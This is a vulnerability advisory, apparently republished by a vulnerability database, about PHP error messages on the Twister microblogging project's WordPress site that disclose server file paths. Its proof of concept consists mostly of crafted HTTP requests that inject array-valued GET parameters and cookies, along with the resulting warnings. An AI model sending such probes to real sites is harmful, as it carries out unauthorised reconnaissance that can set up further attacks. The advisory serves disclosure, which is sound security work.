`========================================================================
TWISTER Peer-To-Peer microblogging Multiples Application Error Message ( and disclosing sensitive information)
========================================================================
TIME-LINE VULNERABILITY
Multiples Advisories but Not Response Not Fixed
-----------------
Alerts summary
-----------------
Application error message
**********************
/
author
cat
comment_author_email_46104838c3366e1644fd983230bdf8c5
comment_author_url_46104838c3366e1644fd983230bdf8c5
feed
m
s
wordpress_46104838c3366e1644fd983230bdf8c5
wordpress_logged_in_46104838c3366e1644fd983230bdf8c5
/wp-comments-post.php
author
comment
email
url
/wp-login.php
comment_author_email_46104838c3366e1644fd983230bdf8c5
comment_author_url_46104838c3366e1644fd983230bdf8c5
redirect_to
user_email
user_login
wordpress_46104838c3366e1644fd983230bdf8c5
wordpress_logged_in_46104838c3366e1644fd983230bdf8c5
I. VULNERABILITY
-------------------------
#Title: TWISTER.NET Multiples Application Error Message ( disclose sensitive information)
#Vendor:http://www.twister.net.co
#Author:Juan Carlos García (@secnight)
#Verified: Francisco Moraga (@BTShell)
#http://asap-sec.com
II. DESCRIPTION
-------------------------
Twister Peer-to-peer microblogging is the fully decentralized P2P microblogging
platform leveraging from the free software implementations of Bitcoin and BitTorrent protocols.
III. PROOF OF CONCEPT
-------------------------
--Attack details---
Application error message
-------------------------
Vulnerability description
*************************
This page contains an error/warning message that may disclose sensitive information.
The message can also contain the location of the file that produced the unhandled exception.
Affected items
---------------
/
/wp-comments-post.php
/wp-login.php
Cookie input comment_author_email_46104838c3366e1644fd983230bdf8c5 was set to sample%40email.tst
Error message found:
<b>Warning</b>: trim() expects parameter 1 to be string, array given in <b>/home/content/68/11448068/html/wp-includes/plugin.php</b> on line <b>199</b><br />
URL encoded GET input author was set to 1
Error message found:
<b>Warning</b>: urldecode() expects parameter 1 to be string, array given in <b>/home/content/68/11448068/html/wp-includes/query.php</b> on line <b>2519</b><br />
GET /?author[$secnight]=1&feed=rss2 HTTP/1.1
Cookie: comment_author_46104838c3366e1644fd983230bdf8c5=1;
comment_author_email_46104838c3366e1644fd983230bdf8c5=sample%40email.tst;
comment_author_url_46104838c3366e1644fd983230bdf8c5=http%3A%2F%2F1;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_46104838c3366e1644fd983230bdf8c5=+; wordpress_46104838c3366e1644fd983230bdf8c5=+;
wordpress_sec_46104838c3366e1644fd983230bdf8c5=+;
wordpressuser_46104838c3366e1644fd983230bdf8c5=+; wordpresspass_46104838c3366e1644fd983230bdf8c5=+
X-Pingback: http://twister.net.co/xmlrpc.php
Host: twister.net.co
Connection: Keep-alive
Accept-Encoding: gzip,deflate
URL encoded GET input cat was set to 1
Error message found:
<b>Warning</b>: urldecode() expects parameter 1 to be string, array given in <b>/home/content/68/11448068/html/wp-includes/query.php</b> on line <b>1771</b><br />
GET /?cat[$secnight]=1 HTTP/1.1
Cookie: comment_author_46104838c3366e1644fd983230bdf8c5=1; comment_author_email_46104838c3366e1644fd983230bdf8c5=sample%40email.tst;
comment_author_url_46104838c3366e1644fd983230bdf8c5=http%3A%2F%2F1; wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_46104838c3366e1644fd983230bdf8c5=+; wordpress_46104838c3366e1644fd983230bdf8c5=+;
wordpress_sec_46104838c3366e1644fd983230bdf8c5=+; wordpressuser_46104838c3366e1644fd983230bdf8c5=+;
wordpresspass_46104838c3366e1644fd983230bdf8c5=+
Host: twister.net.co
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Cookie input comment_author_url_46104838c3366e1644fd983230bdf8c5 was set to http%3A%2F%2F1
Error message found:
<b>Warning</b>: strip_tags() expects parameter 1 to be string, array given in <b>/home/content/68/11448068/html/wp-includes/formatting.php</b> on line <b>3261</b><br />
GET / HTTP/1.1
Cookie: comment_author_46104838c3366e1644fd983230bdf8c5=1; comment_author_email_46104838c3366e1644fd983230bdf8c5=sample%40email.tst;
comment_author_url_46104838c3366e1644fd983230bdf8c5[]=http%3A%2F%2F1; wordpress_test_cookie=WP+Cookie+check;
wordpress_46104838c3366e1644fd983230bdf8c5=+; wordpress_sec_46104838c3366e1644fd983230bdf8c5=+;
wordpress_46104838c3366e1644fd983230bdf8c5=+; wordpress_sec_46104838c3366e1644fd983230bdf8c5=+;
wordpress_logged_in_46104838c3366e1644fd983230bdf8c5=+; wordpress_46104838c3366e1644fd983230bdf8c5=+;
wordpress_sec_46104838c3366e1644fd983230bdf8c5=+; wordpressuser_46104838c3366e1644fd983230bdf8c5=+;
wordpresspass_46104838c3366e1644fd983230bdf8c5=+
Referer: http://twister.net.co:80/
Host: twister.net.co
Connection: Keep-alive
Accept-Encoding: gzip,deflate
URL encoded GET input feed was set to 1
Error message found:
<b>Warning</b>: strpos() expects parameter 1 to be string, array given in <b>/home/content/68/11448068/html/wp-includes/class-wp.php</b> on line <b>331</b><br />
GET /?author=1&feed[$secnight]=1 HTTP/1.1
Cookie: comment_author_46104838c3366e1644fd983230bdf8c5=1; comment_author_email_46104838c3366e1644fd983230bdf8c5=sample%40email.tst;
comment_author_url_46104838c3366e1644fd983230bdf8c5=http%3A%2F%2F1; wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_46104838c3366e1644fd983230bdf8c5=+; wordpress_46104838c3366e1644fd983230bdf8c5=+;
wordpress_sec_46104838c3366e1644fd983230bdf8c5=+; wordpressuser_46104838c3366e1644fd983230bdf8c5=+;
wordpresspass_46104838c3366e1644fd983230bdf8c5=+
Host: twister.net.co
Cookie input comment_author_email_46104838c3366e1644fd983230bdf8c5 was set to sample%40email.tst
Error message found:
<b>Warning</b>: trim() expects parameter 1 to be string, array given in <b>/home/content/68/11448068/html/wp-includes/plugin.php</b> on line <b>199</b><br />
GET /wp-login.php HTTP/1.1
Cookie: comment_author_46104838c3366e1644fd983230bdf8c5=1;
comment_author_email_46104838c3366e1644fd983230bdf8c5[]=sample%40email.tst;
comment_author_url_46104838c3366e1644fd983230bdf8c5=http%3A%2F%2F1; wordpress_test_cookie=WP+Cookie+check;
wordpress_46104838c3366e1644fd983230bdf8c5=+; wordpress_sec_46104838c3366e1644fd983230bdf8c5=+;
wordpress_46104838c3366e1644fd983230bdf8c5=+; wordpress_sec_46104838c3366e1644fd983230bdf8c5=+;
wordpress_logged_in_46104838c3366e1644fd983230bdf8c5=+; wordpress_46104838c3366e1644fd983230bdf8c5=+;
wordpress_sec_46104838c3366e1644fd983230bdf8c5=+; wordpressuser_46104838c3366e1644fd983230bdf8c5=+; wordpresspass_46104838c3366e1644fd983230bdf8c5=+
Referer: http://twister.net.co:80/
Host: twister.net.co
Etc
Etc
Etc
.
.
.
IV. BUSINESS IMPACT
-------------------------
The impact of this vulnerability:
The error messages disclose sensitive information. This information can be used to launch further attacks.
V SOLUTION
------------------------
Pentesting, Review and Write Secure Code.
VI. CREDITS
-------------------------
This vulnerability has been discovered
by
Juan Carlos García(@secnight)
Verified by
Francisco Moraga (@BTShell)
ASAP-SEC Team Members
Security As Soon As Possible (@Asap_Sec)
VII. LEGAL NOTICES
-------------------------
The Author accepts no responsibility for any damage
caused by the use or misuse of this information.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation